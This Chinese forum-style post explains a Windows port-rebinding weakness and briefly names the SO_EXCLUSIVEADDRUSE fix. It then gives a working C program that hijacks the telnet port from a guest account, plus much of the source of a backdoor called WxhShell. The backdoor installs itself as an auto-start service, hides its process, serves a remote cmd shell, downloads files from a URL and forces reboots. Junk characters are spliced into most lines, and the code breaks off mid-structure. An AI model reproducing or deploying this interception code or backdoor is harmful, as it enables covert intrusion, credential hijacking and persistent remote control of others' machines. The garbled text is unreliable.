在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*@Qt*f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ahebr{u 5g&'n saddr.sin_family = AF_INET;
c&_3"2: QnGJ4F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P2Eyqd8 TM RXl.1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?QMs< QWP_8$Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E|fPI u Z2 @&4_P 这意味着什么?意味着可以进行如下的攻击:
[,e_2< Yp;x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[j/-(?+ PRUGUHY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M>^IQ 6Rt pB\hq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A6Qi^TI PQs9@]w[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C/$IF M< s-DtkO
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
':[y]ep(~| WgL!@g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>ylVES/V @GV^B'}* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}qg!Um0 XU54skN #include
:`|,a( #include
GQQ!3LwP\O #include
WV% KoM,% #include
^m7PXY DWORD WINAPI ClientThread(LPVOID lpParam);
&d2/F i+ int main()
cZ(XY} {
'SY&-<t( WORD wVersionRequested;
*!Dzst-J3 DWORD ret;
(/M c$V WSADATA wsaData;
%|I|Mc BOOL val;
nZ*P:K t: SOCKADDR_IN saddr;
G1l( SOCKADDR_IN scaddr;
VuY.})+J: int err;
Y `{U45 SOCKET s;
+EB## SOCKET sc;
qq`RfZjL int caddsize;
x0d+cSw HANDLE mt;
i~;8'>:|,M DWORD tid;
A_.QHUjpx wVersionRequested = MAKEWORD( 2, 2 );
"OPUGwf err = WSAStartup( wVersionRequested, &wsaData );
1gE`_%?K if ( err != 0 ) {
VtO+=mZV printf("error!WSAStartup failed!\n");
*t_&im%E return -1;
y AWDk0bx }
Y!L jy
[/ saddr.sin_family = AF_INET;
$o/>wgQY- ]VvJ1Xn0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)>fi={!=c No7Q,p saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c&++[ saddr.sin_port = htons(23);
6"GpE5'* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~K9U0ypH {
`T70FsSJ printf("error!socket failed!\n");
TI>yi ^} return -1;
9)">()8 }
BGX@n#: val = TRUE;
Xo`1#6xsE //SO_REUSEADDR选项就是可以实现端口重绑定的
#*!$!c{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.6K>" {
RVfe}4Stm# printf("error!setsockopt failed!\n");
lQ/XJw return -1;
c
#kV+n< }
+a/o)C{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o(P:f)B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"b
0cj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=@2V#X]M* f[b YjIX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x1wxB
1)2 {
{0 ~0 ret=GetLastError();
X}(0y
printf("error!bind failed!\n");
Rs`a@Fn return -1;
{ZXC%(u }
?N*0S'dY listen(s,2);
1c#'5~nB while(1)
>|)0Amt {
l,.?-|Poa caddsize = sizeof(scaddr);
#ja`+w} //接受连接请求
)\-";?sYky sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pGY]VwY if(sc!=INVALID_SOCKET)
`fZD%o3l {
AiZFvn[n8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Hc]1mM if(mt==NULL)
W(h8!} {
5vft}f printf("Thread Creat Failed!\n");
8[)]3K x break;
.KucjRI }
SFk#bh }
,g_onfY CloseHandle(mt);
`mjx4Lb }
X5Y
`(/V closesocket(s);
>&QH{!( WSACleanup();
4|N\Q=, return 0;
q9Sz7_K }
l&*)r;9 DWORD WINAPI ClientThread(LPVOID lpParam)
_AYC|R| {
mSzpRa SOCKET ss = (SOCKET)lpParam;
~9r!m5ws SOCKET sc;
[!@oRK=~ unsigned char buf[4096];
U}w+`ZLN SOCKADDR_IN saddr;
zN+*R;Ds long num;
1/ pA/UVO DWORD val;
f&}A!uLe4x DWORD ret;
]<T8ZA_Y; //如果是隐藏端口应用的话,可以在此处加一些判断
HI\f>U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+}QBzGW` saddr.sin_family = AF_INET;
^Wfgwmh saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^YR|WK Y saddr.sin_port = htons(23);
7TkxvSL X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rEyz|k: {
7B]:3M6 d printf("error!socket failed!\n");
H [Lt%:r
return -1;
j-YJ." }
s!ZW'`4!z val = 100;
q^1aPz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+K%pxuVh {
f{Fe+iPc ret = GetLastError();
LxlbD#<V return -1;
?96-" l }
jD/7/G* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4b2mtLn_ {
&.Latx ret = GetLastError();
0UGiPH,() return -1;
ZSPgci }
1Vf78n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zD2.Q%`IM {
*i?rJH printf("error!socket connect failed!\n");
h zZ-$IX X closesocket(sc);
3gG+`{< closesocket(ss);
qsihQd return -1;
H5Ux.]y }
Jf?S9r5 Q while(1)
Wk`bb!P_ {
wKk
3)@il //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}2ql?K //如果是嗅探内容的话,可以再此处进行内容分析和记录
[O7w = //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
N&fW9s} num = recv(ss,buf,4096,0);
A{z>D`d if(num>0)
CYt jY~ send(sc,buf,num,0);
4L=$K2R2r else if(num==0)
/WgPXE B break;
"($Lx num = recv(sc,buf,4096,0);
jVad)2D if(num>0)
0{?:FQ# send(ss,buf,num,0);
7`IUMYl#~ else if(num==0)
s>jr1~~3O_ break;
=6cyE }
nAo8uWG closesocket(ss);
7~wFU*P1 closesocket(sc);
#y=ZP:{:t return 0 ;
AqV09 $ }
&|Lh38s@$# onnI ! WI1T?.Gc ==========================================================
Hp btj 5vD3K!\u 下边附上一个代码,,WXhSHELL
oL<BLr9> "jL1.9%" ==========================================================
dqqnCXYuW WD15pq l #include "stdafx.h"
f).*NX -xJX _6}A #include <stdio.h>
w&p~0cA~ #include <string.h>
?gLR<d_ #include <windows.h>
(y1$MYZQ #include <winsock2.h>
,*/Pg52? #include <winsvc.h>
Q |
#include <urlmon.h>
P}HC(S1 OmB
TA=E< #pragma comment (lib, "Ws2_32.lib")
WgE@8 9 #pragma comment (lib, "urlmon.lib")
>n]oB~P% h`=r)D #define MAX_USER 100 // 最大客户端连接数
A9
U5,mOz #define BUF_SOCK 200 // sock buffer
`9/0J-7* #define KEY_BUFF 255 // 输入 buffer
l+%Fl=Q2em U+-F*$PO+ #define REBOOT 0 // 重启
qQ^d9EK'?~ #define SHUTDOWN 1 // 关机
'X9AG6K1 HLVQ7 #define DEF_PORT 5000 // 监听端口
$=/rGpAk 2Kjrw; #define REG_LEN 16 // 注册表键长度
~i%-WX #define SVC_LEN 80 // NT服务名长度
Gb;99mE wHf&R3fg // 从dll定义API
Nj+a2[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`|nH1sHFq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TN5>" ??" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>?z:2@Q)B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!x>,N%~ Z:!IX^q;}n // wxhshell配置信息
@Tm`d ?^ struct WSCFG {
zX98c int ws_port; // 监听端口
!v0"$V5+i char ws_passstr[REG_LEN]; // 口令
H<g 1m int ws_autoins; // 安装标记, 1=yes 0=no
Xx_tpC? char ws_regname[REG_LEN]; // 注册表键名
W RF.[R" char ws_svcname[REG_LEN]; // 服务名
'3^Q14`R char ws_svcdisp[SVC_LEN]; // 服务显示名
Zae.MO^C! char ws_svcdesc[SVC_LEN]; // 服务描述信息
YxXqI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@OzMiN int ws_downexe; // 下载执行标记, 1=yes 0=no
w8p8 ;@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V43TO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5Tedo~v eeM?]J- };
M7rIi\4K4 Us]=Y}( // default Wxhshell configuration
+"dv7 struct WSCFG wscfg={DEF_PORT,
\|.7-X "xuhuanlingzhe",
<`)iA-Df;9 1,
A
(okv "Wxhshell",
dxK9:IX "Wxhshell",
&dr@6-xaq "WxhShell Service",
6Z?Su(s(5 "Wrsky Windows CmdShell Service",
22&;jpL'?
"Please Input Your Password: ",
s9 @Sd 1,
]n;1x1' "
http://www.wrsky.com/wxhshell.exe",
i7 w(S3a "Wxhshell.exe"
Be2lMC };
d$G}iJ8$mp BRzfic:e // 消息定义模块
^AL2H' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
WF[bO7: char *msg_ws_prompt="\n\r? for help\n\r#>";
?IF)+] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[ *>AN7W char *msg_ws_ext="\n\rExit.";
iX "C/L|JN char *msg_ws_end="\n\rQuit.";
l$XPIC~H char *msg_ws_boot="\n\rReboot...";
eTbg7"waA char *msg_ws_poff="\n\rShutdown...";
n<7u>;SJQ char *msg_ws_down="\n\rSave to ";
|gx~gG< [M%._u, char *msg_ws_err="\n\rErr!";
~TqT}:,H char *msg_ws_ok="\n\rOK!";
sOpep bm#(? char ExeFile[MAX_PATH];
oyvKag int nUser = 0;
nB5zNyY4 HANDLE handles[MAX_USER];
=a}b+(R int OsIsNt;
?!'ZfQ:zK ba@ctkCW SERVICE_STATUS serviceStatus;
z~{&}Em ~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
h@ ) Ba'LRz // 函数声明
Ii&7rdoxe int Install(void);
=1.9/hW int Uninstall(void);
!.TLW int DownloadFile(char *sURL, SOCKET wsh);
k{I01 int Boot(int flag);
bB}5U@G| void HideProc(void);
AUe# RP int GetOsVer(void);
&(N+.T5cp int Wxhshell(SOCKET wsl);
/i]y$^ void TalkWithClient(void *cs);
2RM+W2!! int CmdShell(SOCKET sock);
EYX$pz(x; int StartFromService(void);
ZJ*g))k7 int StartWxhshell(LPSTR lpCmdLine);
_zWfI.o vVl; | VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ACq7dLys,B VOID WINAPI NTServiceHandler( DWORD fdwControl );
YXo|~p;=Y Qnd5X`jF# // 数据结构和表定义
=#gEB#$x: SERVICE_TABLE_ENTRY DispatchTable[] =
^BQrbY {
`n5"0QRd {wscfg.ws_svcname, NTServiceMain},
L;Z0`mdz {NULL, NULL}
ig}A9j?] };
*3/T;x. '6y}ZE[ // 自我安装
E.|-?xQ6 int Install(void)
*^%Q0mU[ {
jh2t9SI~ char svExeFile[MAX_PATH];
>9e(.6&2XZ HKEY key;
Z[__"^} strcpy(svExeFile,ExeFile);
A+J*e L@`ouQ"sa // 如果是win9x系统,修改注册表设为自启动
:0& X^]\ if(!OsIsNt) {
*}k;L74| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Sf5X3,Uw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,to+oSZE RegCloseKey(key);
M])dJ9&e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l7# yZ*<v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Mi'8
~J RegCloseKey(key);
< -W*$?^ return 0;
N_:qRpp6i }
Vq;dJ%sY }
^WBuMCe }
>h0-; else {
U!U$x74D5 ok|qyN+ // 如果是NT以上系统,安装为系统服务
7i&:DePM'q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oy<WsbnS if (schSCManager!=0)
"HE^v_p {
Hx,0zS%> SC_HANDLE schService = CreateService
V3 ~~ (
aaD;jxT&M| schSCManager,
AL>$HB$ wscfg.ws_svcname,
P#=`2a#G wscfg.ws_svcdisp,
[1.+HyJ} SERVICE_ALL_ACCESS,
t%F0:SH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Kq i4hK SERVICE_AUTO_START,
W`c'=c SERVICE_ERROR_NORMAL,
gz3pX#S svExeFile,
YnLErJ NULL,
fbUr`~Y" NULL,
K tNY_&xd NULL,
?lP':'P NULL,
D_vbSF) NULL
L|p
Z$HB );
0jEL<TgC if (schService!=0)
;Iq/l%vX {
Z?\>JM >; CloseServiceHandle(schService);
jy'13G/b\ CloseServiceHandle(schSCManager);
ocs+d\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i>(e}<i strcat(svExeFile,wscfg.ws_svcname);
%n*-VAfE\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7Hs%Cc" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c"[cNZo RegCloseKey(key);
>p"c>V& 8 return 0;
R
rda# h^ }
'*3h!lW1. }
@Z12CrJ CloseServiceHandle(schSCManager);
!jTcsN% }
fZoHf\B]{ }
]UmFhBR- _fKou2$yz return 1;
4M2j!Sw }
!_Wi!Vr_ cI4K+ // 自我卸载
3U0`,c\ao* int Uninstall(void)
R#I0|;q4|p {
r [*Vqcz HKEY key;
;<ZLcTL GaK-t*Q if(!OsIsNt) {
,=[?yJy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y]f"@9G# RegDeleteValue(key,wscfg.ws_regname);
B\o Mn RegCloseKey(key);
:s7m4!EF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=Lf,?"S RegDeleteValue(key,wscfg.ws_regname);
uo@n(>}EL RegCloseKey(key);
l`f/4vy return 0;
{y_98N }
N(Fp0 }
xwq+j " }
>LOjV0K/
else {
zdYy^8V|z vzim<;i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&B6Ep6QS if (schSCManager!=0)
Hl{S]]z {
`)T13Xv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e,W%uH>X if (schService!=0)
tp6 3@L|Q {
m}7iTDJR9 if(DeleteService(schService)!=0) {
n[lJLm^(_C CloseServiceHandle(schService);
lPw%ErG CloseServiceHandle(schSCManager);
iKX-myCz return 0;
a,k>Q` }
1;Ou7T9w CloseServiceHandle(schService);
x|pg"v&[ }
H9YW CloseServiceHandle(schSCManager);
>n'o*gZM }
@~^5l }
snobT Q um!J]N^ return 1;
*Q?tl\E }
]>=}*= 3G}x;Cp\D // 从指定url下载文件
5Co int DownloadFile(char *sURL, SOCKET wsh)
/5(Yy} {
D1zBsi94D HRESULT hr;
pNepC<rY char seps[]= "/";
ME46V6[LX] char *token;
%4et&zRC char *file;
}$SavB#SBP char myURL[MAX_PATH];
WW4vn|0v char myFILE[MAX_PATH];
%5M/s'O?i 1OCeN%4]Qk strcpy(myURL,sURL);
s4A43i'g!h token=strtok(myURL,seps);
a{^m-fSaR" while(token!=NULL)
w$zu~/qV2 {
ObVGV file=token;
Q=;U@k@> token=strtok(NULL,seps);
e!N:,`R
5 }
\<JSkr[h!" b=yx7v"r GetCurrentDirectory(MAX_PATH,myFILE);
EMwS1~3dD strcat(myFILE, "\\");
JEXy%hl strcat(myFILE, file);
iU$] {c2;A send(wsh,myFILE,strlen(myFILE),0);
b6nsg| send(wsh,"...",3,0);
]
o*#t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xST8|H if(hr==S_OK)
#hfXZVD return 0;
zi|+HM else
*"?l ]d return 1;
Tl(^ {MtpkUN }
~
{E'@MU R "n5 // 系统电源模块
}Lc-7[/ int Boot(int flag)
7X0Lq}G@ {
;&<{ey HANDLE hToken;
5]KW^sL TOKEN_PRIVILEGES tkp;
E7t+E)=8 <sWprR if(OsIsNt) {
7C,&*Ax,9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Isvx7$Vu+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?5C!<3gM) tkp.PrivilegeCount = 1;
QS%%^+E2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
K-bD<X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F"&~*m^+ if(flag==REBOOT) {
fsJ9bQm/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K{&mI/; return 0;
'n{Nvt.c }
tjIl-IQ else {
/(u}KMR!f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u[@l~gwL return 0;
+]*zlE\N` }
}SX,^|eN }
S{]x else {
7|{}\w(I if(flag==REBOOT) {
U &C!} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*,e:]!* return 0;
<v)1<*I }
XG}C+;4Aw else {
XRcq hv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
sx7eC return 0;
.:@Ykdm4I }
JSkLEa~< }
dCE0$3'5 aoTM return 1;
u?4:H=;> }
QN
#U)wn: [<2<Y // win9x进程隐藏模块
8B/\U' void HideProc(void)
uD}2<$PP {
_Tf4WFu2 n!NS(.o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
OBMTgZHxv if ( hKernel != NULL )
4i6q{BeHn {
q)Lu_6 mg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
XlV0* }S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b<a4'M FreeLibrary(hKernel);
G'oG</A }
fa++MNf}3 kqM045W7 return;
Q3
u8bx|E }
ey2S#%DF] a2dnbfSWa[ // 获取操作系统版本
*C5R}9O5 int GetOsVer(void)
4[;X{ ! {
fI{E SXU OSVERSIONINFO winfo;
3?c3<`TW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2[Z,J%:0 GetVersionEx(&winfo);
T;L>;E>B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]ro*G"-_1# return 1;
gG]Eeu+z
else
I/&%]"[^u return 0;
G`n_YH084 }
fuWO* *G{^|z // 客户端句柄模块
XWUWY int Wxhshell(SOCKET wsl)
]!I7Y.w6 {
d/ARm-D SOCKET wsh;
ba[1wFmcL struct sockaddr_in client;
M[mF8Zf DWORD myID;
Jll-`b 1 Jz7!4mu while(nUser<MAX_USER)
XiL~TCkx4 {
?98("T|y; int nSize=sizeof(client);
vd[}Gd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?)kG A$m# if(wsh==INVALID_SOCKET) return 1;
UmKI1l UJM1VAJ0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+Af"f' ) if(handles[nUser]==0)
%/|9@e r closesocket(wsh);
4Uphfzv3D else
P>s[tM nUser++;
*1v[kWa? }
bmfI~8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~R22?g. KVT-P};jy* return 0;
VHCK2}ps }
4kBaB EB2w0a5 // 关闭 socket
(-ufBYO6 void CloseIt(SOCKET wsh)
d/BM&r {
E^vJ@O closesocket(wsh);
^>i63Yc nUser--;
\P.I)n`8 y ExitThread(0);
` :o4'CG }
_H j!2 ' jN[`L%Qm // 客户端请求句柄
iV&6nh( void TalkWithClient(void *cs)
-I&m:A$4* {
~/98Id}v {u#;?u=| SOCKET wsh=(SOCKET)cs;
d-k%{eBV char pwd[SVC_LEN];
+y&Tf#.V/A char cmd[KEY_BUFF];
8=NM|i char chr[1];
f@Zszt int i,j;
7UdM f33 l$pOp while (nUser < MAX_USER) {
{]%0lf: IIn"=g=9 if(wscfg.ws_passstr) {
K
i'Fn" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XCU7xi$d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L)@?e?9 //ZeroMemory(pwd,KEY_BUFF);
"#{4d),r i=0;
>pp5;h8! while(i<SVC_LEN) {
z([ v%zf ;#vKi0V7 // 设置超时
i*/Yz*< fd_set FdRead;
*X+79vG: struct timeval TimeOut;
m^ tFi7c FD_ZERO(&FdRead);
5hQE4/hH FD_SET(wsh,&FdRead);
p<,*3huj TimeOut.tv_sec=8;
Q9Kve3u-i TimeOut.tv_usec=0;
8,?h~prc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
gm igsXQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xKuRh}^K MP_ ~<Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d@XV:ae pwd
=chr[0]; ABD)}n=%c
if(chr[0]==0xd || chr[0]==0xa) { ]6TATPIr
pwd=0;
h*w%jdQ6
break; &jslyQ#
} :h\Q;?
i++; 7UVzp v
} 4^WpS/#4
mlJ!:WG
// 如果是非法用户,关闭 socket @+Si?8\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bN]+_ mF
} 6{n!Cb[e
S|7!{}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 62k^KO6Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8<8:+M}
"B3N*R(["
while(1) { dQV;3^iUY
Ta(Y:*Ri
ZeroMemory(cmd,KEY_BUFF); 8Kg n"M3
r'^Hg/Jzt
// 自动支持客户端 telnet标准 zsX1 QN16
j=0; *>|gxM8
while(j<KEY_BUFF) { gtk7)Uh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^p[rc@+
cmd[j]=chr[0]; ]P.'>4
if(chr[0]==0xa || chr[0]==0xd) { 8u6:=fxb
cmd[j]=0; iBF|&h(\
break; _ba>19csq%
} $ M`hh{ -
j++; fZ0M%f
} r^FhTzA=1
[x+FcXb
// 下载文件 `o=q%$f#k~
if(strstr(cmd,"http://")) { ;<&*rnH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); AK'[c+2[
if(DownloadFile(cmd,wsh)) }& cu/o4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXSFjcoB
else lR )67a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c0,0`+2~
} ?[@J8
else { K#6P}tf
7gf05Z'=
switch(cmd[0]) { qTdh eX/
1S{D6#bE
// 帮助 vdAr|4^qB
case '?': { ]V^iN=(_5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %j.0G`x9 +
break; O_`VV*
} \k .{-nh
// 安装 5rw 7;'
case 'i': { 4!Fo$9
if(Install()) >0/i[k-dk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|g4m[kr
else _
TiuY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g;pcZ9o
break; CAfGH!l!
} ]~9tYn
// 卸载 g%sluT[#
case 'r': { +ieY:H[
if(Uninstall()) 3O,+=?VK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6HT;#Znn
else Vr]id
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]D?"aX'q>
break; ,]|#[ 8
} 4w*Skl=F}
// 显示 wxhshell 所在路径 ;D3C>7y
case 'p': { #eoome2Q
char svExeFile[MAX_PATH]; kjIAep0rT
strcpy(svExeFile,"\n\r"); qX/y5F`
strcat(svExeFile,ExeFile); \nXtH}9ZF
send(wsh,svExeFile,strlen(svExeFile),0); } df
W%{
break; Luq#9(P
} v:IpMU-+\
// 重启 B^1>PE
case 'b': { n`#tKwWHYx
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;y,5k?
if(Boot(REBOOT)) Njxv4cc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .CL[_;}
else { ,BH@j%Jmy
closesocket(wsh); x3hB5p$q
ExitThread(0); W<bGDh
} -)w@f~Q
break; {:Orn%Q
} ZT'`hK_up
// 关机 3DzMB?I
case 'd': { V\>K]mwD
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \.0^n3y
if(Boot(SHUTDOWN)) v_BcTzQ0S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>}!+k
-`
else { 7S-ys+
closesocket(wsh); J*r*X.
ExitThread(0); <lgYcdJ
} *T-<|zQ
break; \9cbI3rGz
} B\=L3eL<D
// 获取shell n&L+wqJ
case 's': { 69PE9zz
CmdShell(wsh); Z~AO0zUKY
closesocket(wsh); 2POXj!N
ExitThread(0); ?ME6+Z\
break; - \5v^l
} 5-|:^hU9
// 退出 9{'N{
case 'x': { `[z<4"Os
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N,`$M.|?
CloseIt(wsh); &T+atL `N
break; c'^?/$H|
} $3W;=Id=+
// 离开 ls_'')yp
case 'q': { -Y1e8H ='
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `EEL1[:BR
closesocket(wsh); V39g,=`b%
WSACleanup(); cpe+XvBuK
exit(1); mf
A{3
break; b[sx_b
} Bgn&:T8<
} ++bf#qS<8D
} 7yG#Z)VE
hjU::m,WX
// 提示信息 g9m-TkNk
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I.WvLLK2
} QMA%$
} !lREaSM
^7>3a/
return; {i1|R"ta
} rR$h*
&LmJ!^#
// shell模块句柄 `uq8G
int CmdShell(SOCKET sock) !!qK=V|>
{ Vmc5IPd{\
STARTUPINFO si; heltgRt
ZeroMemory(&si,sizeof(si)); Jz?j[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hj'x Atx5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w4_ U0
n3
PROCESS_INFORMATION ProcessInfo; ^aIPN5CK
char cmdline[]="cmd"; qBU-~"2t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hMzs*gK
return 0; x*
DarSk
} g6W)4cC8a
S_iMVHe
// 自身启动模式 )r';lGh2#
int StartFromService(void) "C?#SO
B
{ 062,L~&E
typedef struct "MxnFeLM#
{ Okgv!Nt8)A
DWORD ExitStatus; w _u\p a
DWORD PebBaseAddress; rJd,Rdt.
DWORD AffinityMask; NnO~dRx{
DWORD BasePriority; yxonRV$&
ULONG UniqueProcessId; LO'**}vm
